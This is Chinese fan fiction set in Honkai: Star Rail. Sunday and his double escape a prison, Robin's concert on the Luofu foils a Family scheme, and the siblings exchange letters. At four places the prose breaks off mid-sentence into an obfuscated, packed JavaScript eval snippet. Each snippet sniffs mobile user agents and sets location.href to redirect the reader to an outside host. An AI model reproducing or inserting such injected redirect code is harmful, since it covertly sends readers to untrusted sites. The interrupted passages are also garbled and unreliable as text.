知更鸟展露出一个明媚的笑容。 芮克先生作为知名电影导演，在匹诺康尼和艾普瑟隆等地颇有名气。知更鸟稍微有些惊奇，像他这样对电影艺术有独特追求的人竟然会接受「家族」的邀约，不过她并不反对任何人记录下美好的瞬间。 “知更鸟小姐，那个、那个……”芮克先生的助理小姐上前一步，眼瞳里闪烁着激动的光彩。 “我很敬仰您！您的歌声真是太动人了，我、我的嗓子如何也无法这样美妙的声音。借此机会，能不能……允许我在互动环节与您共唱一曲？” 知更鸟甜美地笑了笑，说道：“当然可以，期待与您的谐乐共奏。” “知更鸟小姐，时间快到了，该上场了。”主持人看了看表，小声提醒道，“这边请。” “各位，容我先告辞了。”知更鸟礼貌向芮克先生和他的助理告别。 红色的帷幕在机械机关的操控下缓缓展开，观众屏气凝神地等待着，盛大的舞台上的乐曲奏响。 知更鸟望向舞台灯照下金色的光芒，深吸一口气，耳羽微动。万众瞩目的演出对她来说，早已是无比熟悉的体验，然而此前她意外打开罗浮最有趣的网络直播时，意外获得了惊喜的发现。这样的惊喜让她不免心有希冀，哪怕深知这一步恐怕对他来说太过艰难，还是想要如此轻轻地期盼一下—— 他究竟会不会来呢？ “……” “现在由知更鸟女士带来，她的经典之作，「若我不曾见过太阳」！” “……” 在舞台的另一侧，芮克先生狂喜地架上他的摄像机，对准舞台上闪耀的明星，对焦，按下拍摄按钮。 他的身旁除了忙碌搬运设备的工作人员，还有混在队伍之中的有心之徒。他们悄悄地靠近了正在热情投身于艺术事业的大导演，低声暗语：都准备好了吗？ 芮克先生嘴角勾起讥诮的笑容，红色的眼眸闪烁着机制的兴奋。 在匹诺康尼时，「希佩」的化身本该在谐乐大典上彰显于世人面前，弘扬「同谐」的宗旨，为祂的颂歌添砖加瓦，却因为星期日和橡木家系的背叛而惨遭失败。 所以这一次，他们必定会让「同谐」的神迹成功降下，显化在仙舟的煌煌大地上。 让…… 鸠占鹊巢，福音永绵。 —— “要来不及了。” 工作日轻飘飘地说出了这几个字，好像事不关己高高挂起的样子。他刻意地想要说一些话逗弄星期日，但星期日完全没有理会他的意思。 靠着墙摆了个炫酷姿势的貊泽看起来比其他所有人都更具有杀气，这样技艺高超的刺客身处此地，简直限制了他大展身手的机会。不过，还好他的办法多的是。 那群人虽然打着“保护龙尊”的称呼，却把他们通通关了起来，包括白露本人。 关押的地点首先是一个大型货运集装箱，不清楚他们究竟使用了什么手段，居然一路畅通无阻地进入了幽囚狱深处的牢房。 幽囚狱深藏罗浮秘境之中，深邃阴险，断然不是能轻易逃脱的。但是利用这样的手段，说明他们不是通过正当渠道、按照程序逮捕他们的。 “要是被大家知道我遭人绑架了。”白露挠了挠头，露出苦恼的神情，“他们又得在我耳边回来唠叨，什么注意安全、乖乖在家的。” “龙女大人，莫急。”椒丘眼睛不方便，心思却灵敏得很，“他们使这种手段明目张胆地把我们关进来，说明这些叛徒一定和幽囚狱中的高层有所勾结。” “嘿，你这么说，岂不是我们更危险啦，幽囚狱上下都被他们渗透了。”白露摊摊手，“不过他们把我们关进来是为了什么呢？我们几个大活人凭空消失，怎样都会被很快发现的吧？” 椒丘讳莫高深地笑了笑，并没有回答，转身去看貊泽。 他们说话间，貊泽已经轻轻松松将锁撬开了，这牢房说实话算不上什么阻碍。 工作日不禁感慨道——要是星期日也有这手段，根本不会给家族的人拘禁那么久，更不用被公司救了，早就逃出来逍遥自在了。 星期日瞥了他一眼，回道：“并非我不能够，而是我不想。” 工作日恹恹地抿抿嘴。 在幽囚狱坐牢对匹诺康尼土生土长的这两个家伙来说，倒是种新奇体验。整个幽囚狱理论上戒备森严，设有多种多样的机关秘术，很难逃脱。 然而此前在演武仪典举办期间，就发生了呼雷越狱一案。如果单说此事是步离人所为，恐怕太过小觑罗浮的守备力量。罗浮仙舟是联盟当中最对外开放的一艘，与繁荣的贸易交流相辅相成的，是暗藏表象之下的波涛汹涌。 景元将军想要清理幽囚狱当中的腐败存在，就势必得寻个好由头，否则的话很容易在有心人那里成为发难的跳板。 “演唱会就要开场了，你好像一点也不急啊？”工作日贴在星期日的耳边问道，“你看起来并不迫切地想赶走我，不如给我个机会吧。” 星期日微垂眼眸，心里大概已经有了大致的推测：“因为我明白了。” “明白什么？” 工作日耸耸肩，这时椒丘做了一个“请”的手势，大家依序走了出去。刚出牢房，一阵阴恻恻的寒风刮过来，四下是寒冰三尺的景观。 他们正处于这座监牢的阴寒狱一层。 工作日呼了一口气，立刻凝成了白雾，露出“哇，真有趣”的表情。 星期日探出指尖感受了下寒意，突然感到心脏处一阵抽痛，他收进怀中的碎片发出剧烈震颤。 同频共振。 “你怎么了？”工作日敏锐地察觉到他面色变得苍白，自己也变得慌张起来。 星期日紧锁眉头，捂住心口，一边感受它震颤的频率中传出的信息，一边解释道：“它和什么东西产生了共鸣。” ……呵呵呵呵呵。 他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14756425|155980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周身环绕起浓烈的浓雾，隔住了视线，工作日捏着星期日的手紧了紧，发觉他们好像被幻境隔绝开来了。 ……呵呵。 身后传来恐怖的笑声，他们俩同时回头，模糊的牢房影壁随着他们视线的移动变得清晰，浮现出一张极其熟悉的脸。 “哟～在这里哦。” 这个「星期日」的笑容仿佛染上了一层魔力，让人不由自主地盯着他，如同关节僵化的木偶，无法转动脑袋、移开目光。 “这可跟我没有半点关系啊。”工作日怔怔地辩解道，“仙舟果真是卧虎藏龙……” “这样的好东西在你手里。”牢房里的「星期日」笑嘻嘻地说道，“你怎么不知道好好利用一下呢？” 他继续蛊惑说：“快把我放出来，我来教你如何使用它的力量，它会帮你实现你所有的愿望，你所有想要做到的，它都可以令你做到。只要你把我放出来，只要你接受我，我可以帮你的。” 工作日差点想要接话，但星期日一伸手拦住了他的动作，几乎一瞬间「同谐」的光芒迸发出来，幻境立刻无所遁形。 “别被它迷惑了。”星期日放下捂住心口的手，“它是一只变形怪，通过模仿别人的样子来进行诱骗，它本想煽动我们放它出去。” 工作日松了一口气，说道：“原来如此。欸，不对，你什么时候这么关心我了？” “只是提醒。” 星期日快步跟上前面的椒丘等人，好像立刻将这个小插曲抛之脑后了。工作日还在回味着那变形怪所说的话，只消稍稍一思索，他心里仿佛也琢磨出来了。 论「同谐」的造诣，他确实比星期日本尊强一点的。他是从星期日灵魂和身体里剥离出来的一部分，理所当然地带走了相对应的力量。 关于他诞生的那个玩笑，给予了他某种深微的使命感。 “等等，仙舟的龙女尊下。” 工作日抢先一步挡到了星期日的身前，他身上带着一种朝向必死的决心，恍惚间仿佛那个借用齐响诗班的躯壳一意孤行制造乐园的殉道者。 “原谅我的自作主张吧。” 在星期日反应过来之前，工作日的手已经按上了他的胸口，电光火石的一刻，那枚「不朽」的碎片涌动出闪烁的色彩，光带如同潮水般包围住了白露。 飘扬的光影回圜落下之时，他一挥手臂，乐声随启随歇，他作了一场「调律」。 “我、我……”白露惊讶地看着自己尾巴上拘束力量的缚锁脱落，四周的冰棱随着她的惊呼爆裂落地，“天呐，我能够轻易地使用这些力量，不不不，我体内的龙力变得调和完整了！” 椒丘一掀衣摆，半跪下来翻过她的手腕，给她诊脉：“气息平滑、内外通达、水火相宜，龙女大人，你身体里的持明龙尊之力确实是交融一体了。” 椒丘得出这个惊天动地的结论时，景元恰好领着人赶来了，他稳妥地笑着说：“曜青的天风君时常来信催促我尽早为您加上饮月君的尊号，现在我终于可以给人一个交代了。真是多亏了这两位云游而来的尊客，以及曜青来的使者们。” 星期日压了压眉梢，觉得这位罗浮将军属实心思缜密到可怕。 20.罗浮仙舟（9） “如若不能成功。”景元接到相关情报之时就做出了万全的筹划，他凝视着大衍穷观阵显现出来的数据冷静地说道，“便即刻终止，务必做到一发破的。” “是。” 彦卿有力地回答了一声，但眉眼之间藏不住困惑。 “问吧，彦卿。”景元眯眯眼，产生了逗小孩的乐趣，“趁我还没困到睡着前。” “将军！”彦卿一时语塞，尔后诚恳地发问道，“为什么家族打算召唤「万籁剧院」，而非「至福舞会」呢？演唱会的氛围，感觉更适合「至福舞会」显示神迹啊。” “这点嘛——”景元打了个长长的哈欠，从蓊郁的白发里抓住小雀儿，“得问芮克先生那位大导演，使了什么样的手段，连「家族」的人都被忽悠得深信不疑了。” —— 利用吗？大概不太算是。 星期日更愿意称其为一场交易。 一场非常有利于他的交易。 工作日手肘撑在栏杆上，饶有兴味地仔细听着下面的歌声，他什么也没有多想，只是沉浸在知更鸟的表演中。星期日在后头看着他晃动的耳羽和发梢，思考了许久。 他们现在正处于竞锋舰的看台顶层，与罗浮的最高指挥一同观看知更鸟的演唱会。 幽囚狱的冒险像是一份被轻轻掀过去的篇章，景元将军显然只是想拿星期日这位来自星穹列车的无名客身份做个小文章理棘手的内部叛徒。 这件事情，在他来接应绑架的诸位前就已经雷厉风行地完成了。 放在过往，星期日恐怕会对此多加深思，但他现在学会了换一种不一样的思考方式。 首先，要学会不再使用爱操心的“家主”身份来看待世事。 工作日应该颇为认同这一点。 “星期日先生。”景元的语调永远带着一种绵长的懒散，然而其中蕴藏的深意会让恶人胆寒、善者宽慰，“我身为长生族裔，无法代表持明族来感谢您帮助了他们的龙女尊上调和内力。不过作为仙舟芸芸众生中一员，相信您此行在仙舟收获了珍贵的宝物。” 工作日的神情平稳得仿佛刚刚干出惊天大事的不是他，他微笑着挑起的嘴角都挂上了一丝狡黠的气息。 有点星期日，又有点不星期日。 ——“星期日”现在可以成为一个既形象又抽象的形容词。 白露抱起敦实的龙尾巴，不明所以地嘟囔道：“虽然不明白发生了什么，但是感觉莫名干了一票大的。总而言之，谢谢这位大哥哥，下次再来先仙舟玩的话，还请大哥哥吃火锅。” 景元垂下手摸了摸她的脑袋，看起来心情很好的样子。 “原来是用这样的方式解决的吗？真是前所未见的思路。”椒丘在旁边掩面一笑，对星期日说道，“也许仙舟应该考虑和你们的天君同心勠力，恢弘帝弓之纶音。” “依我个人的愚见，恐怕「同谐」的理念并不能与「巡猎」的奥义兼容，家族对于宣扬希佩的谕示，大概……”星期日说到这里，稍微顿了顿，似是在犹豫措辞的分寸，“……比较有自己的想法。” “嘿，星期日。”工作日笑了，“你这话说得可真有趣。” 景元给出了官方回复：“这样的法子能成功是建立在一定的基础上的，若是打算广泛地推行，有很多风险需要考量。如果非要评价一番，今日之事只能算是凑巧了。” 他将“凑巧”这几个字咬得很重，星期日可以听懂他的言外之意。 很显然—— 面对「家族」的阴谋，最稳妥的办法当然是取消演唱会。其次，可以选择增强安保，寻求及时发现制造混乱的人，但这无法百分百杜绝隐患。如果演唱会按照计划展开，无论如何，只要发生了一丁点的意外，就会让仙舟和知更鸟一同陷入舆论的浪潮之中。 除非…… 景元安置好其它人的去向后，立刻攀扯开来话题，说要邀请星期日一起同乘神策府的星槎去到竞锋舰观看演唱会。 星期日觉得顺着景元的意思行事更好，所以没有拒绝。他们被安排到了看台顶楼的特别包厢，以至于从桑博那里买来的演唱会门票失去了假装。 顶层的位置拥有欣赏舞台的最佳角度，青空之下一览无余。 景元不知道从哪里摸出来一盘子貘貘卷请他们两个吃，同时笑眯眯地说道：“仙舟好物，邀君共品。” 与仙舟将军交锋相对，在这件事情上，星期日素来保持着谨慎的态度。一如自己此前对仙舟将军所说的，他无论以何种身份而言都没有干涉仙舟内务的心思。 那么相应的，仙舟无论以何种身份而言也没有干涉家族内务的心思。 「家族」的事，就该由「家族」的人来处理。 ——因此，这就是最关键的“其次”一点。 “换一种视角来思考问题。”星期日的视线移向工作日，突兀地说道。 “什么视角？” “你的视角。” “真好吃啊。”工作日兴致勃勃地拿起一块貘貘卷，立刻被它甜美的滋味所征服了，然而下一秒就遭到了无情的制止。 “把它放下。”星期日说道，“或者马上吃完。” “你好凶啊。”工作日回答。 在不同歌曲的转换间隙，歌手会进入后台更换相应的服装。当知更鸟重新回到台上时，看台爆发出了一阵又一阵激动的欢呼。 工作日认真地盯着星期日说道：“你的目的马上就要达成了，怎么看起来这么不开心？等所有歌曲结束，你到后台去见她，然后关于我的一切便会就此结束了吧。” 星期日握着栏杆的手紧了紧。 “没有这么简单。” 景元将军之所以能站在将军的位置上，正是因为他坦荡地摆出了一些手段和一些计划，你可以自行选择是否参与，而最后你会得到的回报也超乎寻常。 使用星际和平公司喜爱的术语来描述。 这是一场共赢。 “安静。”星期日聚精会神地俯瞰舞台，轻声说道，“即将开始了。” 当他在竞锋舰上看见亲爱的妹妹在舞台上大方光彩时，他的心境轻微地发生了改变。 竞锋舰的礼花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784899|155980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为她一连发了十几炮，用来铺陈巨星的场面。当她歌唱之时，仿佛万籁俱寂间有一只纯白的鸽子探出浓密的绿叶，发出新生的啼鸣。 她像跃动的精灵，也像翱翔的飞鸟。 他曾立誓守护这样的美好，但总是事与愿违。 在知更鸟握住话筒，发出第一个乐音的同时，星期日学会了尝试改变思维方式，将自己安放在一个新的角色上。 “我是不是太像一个过于操心的兄长，而反倒惹她厌烦了？”星期日低声问道。 “你不是‘像’。”工作日回答，“你就是。” “所以，这一次……”星期日酝酿着情绪，将力量汇聚在指尖和掌心，“是属于她的舞台，是她熠熠生辉的地方。” “……而我将会不再立于台前，而是像大多数人一样，站在幕后，为这场演唱做出力所能及的贡献。” 在他们身旁的景元镇定地望向台上的少女，她抬起手臂向数万名观众介绍了一位出乎意料的嘉宾。 那位自称名叫康斯坦汀娜的女子紧张地走到台前，与仰慕的明星合唱令她万分激动。那位著名的大导演洋洋洒洒地向她描述了这样的场景，她立马答应了下来。 她似乎并没有意识到，很快蒙在鼓里的她们两人在举世瞩目的大舞台上即将成为「家族」用以召唤神降的仪器。 恰似星期日在匹诺康尼大剧院如何代替她走向自我献祭，这逃不开的命运正欲垂落巨手。 受呼唤降临的「同谐」令使会轻易地掐断小鸟脆弱的脖颈。 彦卿接到命令，领着云骑军的精锐埋伏在观众当中，随时准备出击。他怀有必胜的信心，一旦出现差错，他会负责处理。 所有人都在等待一个讯号。 “大家一起来唱吧！” 知更鸟念出这话语的同时，观众席中陆陆续续传来咒祷的低语，「同谐」的神力依靠同一频率、齐心协力的祝颂漫延开来。 彦卿全神贯注地仰头凝视着天空，白色的云雾散开，「万籁剧院」柔美的身姿降临在他们的头顶，她像是一位翩翩起舞的乐者，高声歌唱。 他心里头的弦绷紧了，手指搭在剑柄上，随时准备出鞘。他默默地对自己打气道，他一定不会让任何人受到伤害。 「万籁剧院」踮起脚尖，裙摆如同旋转的绸带，她在舞蹈中张开怀抱，拥抱她选中的附体。 “你又要献出怎样的牺牲？”工作日悄悄地贴近星期日的身后，拢住他僵硬的肩膀，蹭着耳羽窃窃细语，“事已至此，你还能为她做什么呢？” 工作日伸手覆盖住他的掌心，他们两人的呼吸频率交叠，合为一体，这个时候全场最突出的杂音，他们可以一个一个精准地辨识出来。 “我的确想要倾尽所有保护她，我的妹妹，这世上唯一的至深血亲。但其实她不需要我的干涉，她足够坚定，足够强大，甚至远胜于我。” 星期日的眼中凝聚着璀璨的笑意，温和婉转，如同一道春日流淌的净水。 “我相信她绝对可以做到的——” “关于，演唱自己的歌。” 21.罗浮仙舟（10） 她的余光瞥见了正在自天空缓缓垂落的神之使者，灼目光辉的重压和恢宏颂歌同时倾泻而出，瓦解着俗世的一切。 不。 她不会停下的，她在心底对自己鼓气道，无论如何，无惧艰险。 “I find myself……”① 她的歌声不会停下。 希佩千面千相，所以同谐的内涵自然并非仅有一种定义。同谐的歌声多姿多彩，千变万化，包容万籁。它并不单一，也不绝对，而是充满无限可能性。 由她来定义——何为「同谐」。 系列演唱会的各个站点在她去往匹诺康尼赴那场危机四伏的盛典之前就早已敲定。然而她依照合约抵达仙舟时，罗浮的将军真挚地询问了她的意见。 她在宇宙中来回奔走，宣传「同谐」的信念，却并不是双眼蒙蔽、双耳堵塞的痴傻之徒。 她知道，在偌大的家族之中，不免藏着心怀异心者，除却那些在匹诺康尼投身殉道的，还有更多为了一己私欲而坠入地狱的。 “考虑到您的个人安全。”景元将军的语调亲切沉稳，“如果您选择取消或推迟演唱会，罗浮愿意全力配合。” “我明白了。谢谢您的慷慨提醒。”知更鸟笑着回答，“但我坚持在原定日期，按照原计划开展演唱会。” “同谐的化身无论如何都不该是凌驾于人的自我意志之上的存在，这是对于何为「同谐」的错误理解。” 知更鸟坚定地说出了她的想法。 “所以我有一个计划。” 她不是「同谐」的代言人，她要「同谐」为她代言。命途不是高高在上不可触碰不可变更的概念，人类的勇气亦可为祂的注解。 突如其来地，沉浸在高昂气氛中的观众们发现舞台上多了一具蹁跹起舞人偶，它周身萦绕着动人的光彩。 知更鸟牵着它的手，与她共舞，眼花缭乱的幻影交织重叠。 “大家一起来唱吧！” 知更鸟对着所有的观众大声喊道，在光芒中，大家纷纷站立起来，齐声加入了合唱，声音摇曳，如浪潮，如海风。 “I dream……”② 知更鸟紧紧抓住了话筒，眼瞳中仿佛静静燃烧着明艳的萤火：“接下来，还有来自仙舟的朋友们特别加入了今天的表演，欢迎她们的到来——” “大家好！！！” 桂乃芬和素裳手拉手跑上舞台，虽然她们的演唱水平并没有达到完美的高度，但她们表演起了拿手的仙舟戏法和技艺。 “我们一起来!” “加入大合唱吧——” 台上的大家手牵着手，一起跳起了快乐的节拍，鞋跟哒哒地碰着地面，轻快又灵动。 热闹的氛围登时铺陈开来。 大家一起握着话筒说道：“这一首歌是献给今日在场的所有人的，也是由今日在场的所有人一起构建的美妙曲调。如果你们喜欢的话，请和我一起来唱，一起来跳。” “Yeah！！！” 一二三，咔嚓。 咔嚓咔嚓。 巨大的幕布之后芮克先生的相机快门闪个不停，他如愿以偿地获得了心仪的素材。 他细致的筹谋就是为了记录下这一刻的精彩，每个角色都会拥有他们完整的故事线，即便时常隐于幕后，不被看见。 假扮工作人员的家族叛徒恼羞成怒地在他旁边低声质问他，为什么要制造一个谎言欺骗他们。 为什么？ 芮克先生深红的眼眸一闪，用事不关己的语调回答。 是你们的「代言人」自己拒绝了希佩的显形，和我有什么关系呢。 芮克先生笑起来，面孔都差点笑到扭曲。至此，他的电影已经汇聚齐了各位主演，只待最后的剪辑了。 —— 竞锋舰的高层看台。 星期日的视线居高临下地扫过看台上的每一个人，从怀中掏出古朴的羊皮纸，写下了数十个名字，然后递向立于旁侧的景元。 这些名字是他从乐声中感知到的「家族」叛徒，他们不仅背弃了「同谐」原初的理念，也对仙舟的安全造成了威胁。 景元放下貘貘卷，接过他递来的羊皮纸，笑着说道：“星期日先生，这次，我可以代表罗浮仙舟正式向您表示感谢了。” 星期日微微颔首：“举手之劳，不足挂齿。” 工作日从盘子里又拿了一个貘貘卷，粉红色的脆皮是草莓巧克力做成的。 他替星期日解说道，手指上还沾着巧克力碎屑：“「同谐」的颂歌要求歌唱者保持完全一致的步调，所以出现杂音是致命的谬误。但在她促成的大合唱中，步调过于一致的吟诵反倒是最明显的杂音。” “这就是他所谓的换种视角。”工作日笑着指了指他。 星期日微微皱了皱眉，但在心里叹了口气后，容忍了工作日不文雅的行为：“他是意外从我身体里分裂出来的‘杂音’，因而启发了我反过来思考问题。从前我致力于追求完美的同谐，不能容许分毫的杂音。现在从多元的声音中学会远离单一，确实是一种新奇的体验。” 说完了这些话，星期日忽然低头一晒：“我自顾自地说了这么多话，让您见笑了，仙舟的将军。” 景元淡然地摊开手：“仙舟一直坚定不移地走在「巡猎」的命途之上，能听到与其它星神相关的剖析，了解和学习祂们，总是大有裨益的。” 说话间外头的乐声渐歇，他们默契地看了过去。 一首曲终，马上就要进入最后的环节了。 由于知更鸟邀请全场观众和仙舟的朋友们一起合唱而产生的「同谐」力量远远超过了家族众人呼唤的颂歌，「万籁剧院」消散在绽放的礼花中。 祂的出现将会成为一种添光加彩式的彩蛋。观众们以为这是一个精妙的舞台设计，更为知更鸟的动人歌声和明耀光辉所打动。 当所有声音逐渐停歇时，知更鸟翩翩退后一步，伸出手臂，令全场的目光聚焦在那位冒名顶替为康斯坦汀娜的不起眼少女身上。 芮克先生将她包装成为了神降的必要助手，诱骗家族推进了这个拙劣的计划，从而使她成功站上了舞台。 “感谢今日来到我的演唱会，一起共享了这场美妙的盛典。”知更鸟温柔说道，“凭此契 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784900|155980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机，我想要向各位介绍我身旁的这位朋友，朱丽叶。” 真名为朱丽叶的少女激动到滴落了眼泪，向观众席鞠下一躬。 知更鸟继续说道：“她来自帕特雷□□齐亚的悲悼伶人剧团，那里曾经像宇宙中的许多地方一样，遭受过毁灭军团的残忍打击。而就在最近，居住在那处的悲悼伶人又遭遇了星际通缉犯原始博士的迫害，整个文明毁于一旦。朱丽叶女士通过多方努力最终联系到了我，表达了想要与我共演的愿望，她此举也正是想站在这个万众瞩目的舞台上向全宇宙发出呼唤，帮助受到伤害的悲悼伶人们重获新生。” “身为一名传唱希望与美好的歌者，我在此发出倡议，让我们一起为深陷困厄的悲悼伶人们献出力量和支持。” 观众席瞬间爆出了犹如浪潮一般的激动响声，震天动地。 —— “一对兄妹重归于好，一场好戏温馨结尾。”景元站在栏杆一侧，风扬起了他的发梢，“年纪大了，就该看点这样其乐融融的。” “将军年纪才不大呢。”过来汇报抓捕情况的彦卿回答，话语里多少含着隐隐的伤怀之情。 “所有人都拥有幸福的未来，所有留待结局的问题都获得了推进，所有的麻烦迎刃而解。没有人受伤，没有人遗憾。”景元迎着日光抱起双臂，感到晴空明亮到有些晃眼睛，“很少故事能有这样棒的结局。” 彦卿若有所思地接话道：“但我们的生活会在仙舟始终前行的步伐中一直继续。” “没错。”景元快慰地点了点头 彦卿扫视了一下四周，没见人影，遂问道：“对了，将军，那二位先生去哪里了？他们要回星穹列车了，我们是不是应该为他们准备一些践行礼物？” 景元伸了个懒腰，耐人寻味地回答：“幕后。” —— “是时候了吗？” 工作日慢悠悠地问道。 星期日盯着他的眼睛回答：“我想，或许不需要你的存在，我也可以迈出那新的一步了，所以你并没有必要继续存在了。” 他们站在喧闹嘈杂的后台，来来往往的工作人员几乎把他们挤得没有地方落脚。 “你这话说得真是太伤人了。比起什么喜欢、讨厌的，‘不被需要’才是最让你害怕的吧。”工作日又问，“现在，你紧张吗？” 星期日压低眼角，故作轻松地吐出一口气：“我不知道。” “这样吧。”工作日抖了抖自己的耳羽，“关于最开始的问题，你该给我一个答案了，不能这样让我不明不白地离开，我会不甘心的。” 星期日露出一个困惑的表情：“什么……答案？” 工作日抿抿嘴，手指滑过柔软耳羽的根部，说道：“你要来摸摸吗？” 不。 星期日摇了摇头，他的心意不会改变，绝无可能。 嗯……应该不会改变…… 他转头避开工作日视线的时候，有一份洁白的信札飘到了他们面前，由两只长了翅膀的小音符衔着。 星期日清楚地看见上面是知更鸟的笔迹，写着墨色的三个字： 我拒绝。 22.一封家书 亲爱的哥哥： 当你收到这份信札的时候，我已经离开竞锋舰了。是罗浮的那两位可爱的小姐告诉我的秘密路径，可以躲开媒体的镜头。 请不要担心，她们是值得信赖的朋友。初到罗浮之时，我对这片风俗迥异的土地充满好奇，恰好观看到了她们很有意思的直播，没想到竟然还看到令人惊喜的画面。 那时，我心里就酝酿了这样的想法：不如邀请她们一起站上这广大的舞台。 仙舟素来有礼尚往来的传统，所以她们同样邀请我一起去金人巷和长乐天游玩，那里有许多美味的仙舟小食和瑰丽的云海风景。她们常说，来都来了，怎么能不好好体验一番呢。 你说担心我遇到危险？没事的。只需稍稍乔装打扮即可，戴上墨镜与假发，几乎不会有人能够认出来。 哥哥，相信你已经尝试过仙舟的特色食物了，一定很美味吧。可惜现在还不是时机，否则的话，若是能一起走在街上，安宁地感受佳节的气氛，该有多好？ 不过请原谅我的自作主张和不辞而别，我知晓你的来意，所以更加无法在此时坦然地面对你。 我想，或许还需要一些时间。 对于你来说。 我永远是你的妹妹，这一点毋庸置议，用不着任何证明。能一直成长在你的羽翼庇护之下，令我感到如此幸福和快乐。因此在这件事上，我格外地要提出，我无法满足你的要求。 近来一切天翻地覆，我们都难免感到措手不及。可是在这样的迷惘和茫然之中，我们还是坚定地摸索着向前行走。 “既成了人，就把孩子的事丢弃了。”① 每每想起这句话，总是让我感触颇深，能够用纯粹质朴的视角观察世界，能够坦率直接地说出心里话，是多么宝贵的一种能力，我们不该轻易地舍弃它啊。 这便是我写这封信所想说的话。 期待我们再会的那一天。 在那时，我们都会明白自己的心之所向，而群星会为我们闪耀。 你的妹妹， 知更鸟 —— 亲爱的妹妹： 感谢你的来信。 受教匪浅，自愧弗如。 祝你，玩得愉快。 你的哥哥， 星期日 —— 亲爱的妹妹： 抱歉再次来信叨扰。 他催促我一定要写些什么来和你汇报一下情况，我本是不愿意多加搅扰的，你能恣意自在地生活，我便感到安心了。 但是考虑到星穹列车此行前往的目的地是连「开拓」星神都未曾踏足过的秘境，星际通信恐怕无法顺利送达，所以在列车即将开启跃迁前，我听取了他的意见，利用这样短暂的间隙来最后写下寥寥几笔。 决定仓促，未加深思，言辞拙劣，还望见谅。 他嘱托我一定要写上这句话，我就先在此一叙之了：能在罗浮仙舟听到你的演唱会，真是太好了。 那位曾经到访过匹诺康尼的芮克先生向我解释了故事背后的原委，他说在创作一部创新性的先锋电影，在其中没有主角，也没有配角。换言之，所有人都是自己故事的主角，亦是旁人故事的配角。 对电影艺术，我并没有很深入的造诣，无法评价。但至少这位导演应该没有恶意的企图，相关的纷争也得到了阶段的了解，我们都尽了一份力，后续交于相关人士处理更妥当，我没有什么意见。 此外，关于“他”的事情，暂且得到了妥善解决。 我本是借由列车停顿修整的时间出来寻找你的，但此次行程遭遇了颇多意料之外的惊喜，最终也没有实现原本的目的。假使我再于别处辗转，将赶不上列车出发，所以不得不徒劳而返，实在有些惭愧。 临走之前，罗浮的将军盛情送别了我，并且向我表示了以后想要邀请我们共赴茶会的愿望。我无法代表你的意见，所以只是答应下来了我的那份约定。 仙舟是一个很有趣的地方，想必你同新结识的伙伴也共同度过快乐的时光。未来若有机会，果然还是想要与你——或者你们——共同欣赏这般风景的。 不好意思，一不小心就说得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787494|155980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太多了，你一定会嫌我有些太过啰嗦了。 回到原先的话题上来，经过一番深入长谈，我与他最终达成了约定。他向我言明了他的诞生和“某几位”星神脱不了干系，所以我不能够使用强力手段逼迫他消失。但是为了避免制造更多的麻烦，至少在列车探索翁法罗斯期间，他同意暂时待在我的身体里。 这听起来有些奇怪，不过目前看来，是最佳的解决方法了。 不知为何，我有一种感觉，翁法罗斯会是一个充满故事底蕴的地方，「开拓」或许将面临前所未有的挑战。但人生就是如此，没有一帆风顺、万古不变的事情。 我会保护好自己的，请勿为我担忧，自由地去做你想做的事情吧。 你的哥哥， 星期日 —— 亲爱的哥哥： 万望平安！ 你的妹妹， 知更鸟 —— 亲爱的哥哥： 好久没有收到你的信件了，不知你在翁法罗斯的冒险如何了？可还安康？ 也许是我多虑了，但忍不住想要提笔写下这封信。你说过，那处地方是失落在茫茫星海之中的神秘之都，通讯中断是合乎情理的事情。既然如此，那我先写下这些内容，待你回归，再读也好。 其实我前夜做了一个梦，梦见你为神的长矛贯彻胸膛，金色的血淌满大地。 这样的噩梦，我如今已很少会遇见，所以我不禁感到担忧。当然，可能是我想得太多，实际上只是我忧心过度了。 总而言之，哥哥，请你一定要顺利回来啊。 我会等你的。 你的妹妹， 知更鸟 —— #你的通讯未送达，请重试# #你的通讯未送达，请重试# #你的通讯未送达，请重试# #链接已中断# #重启中……# #欢迎来到翁法罗斯# 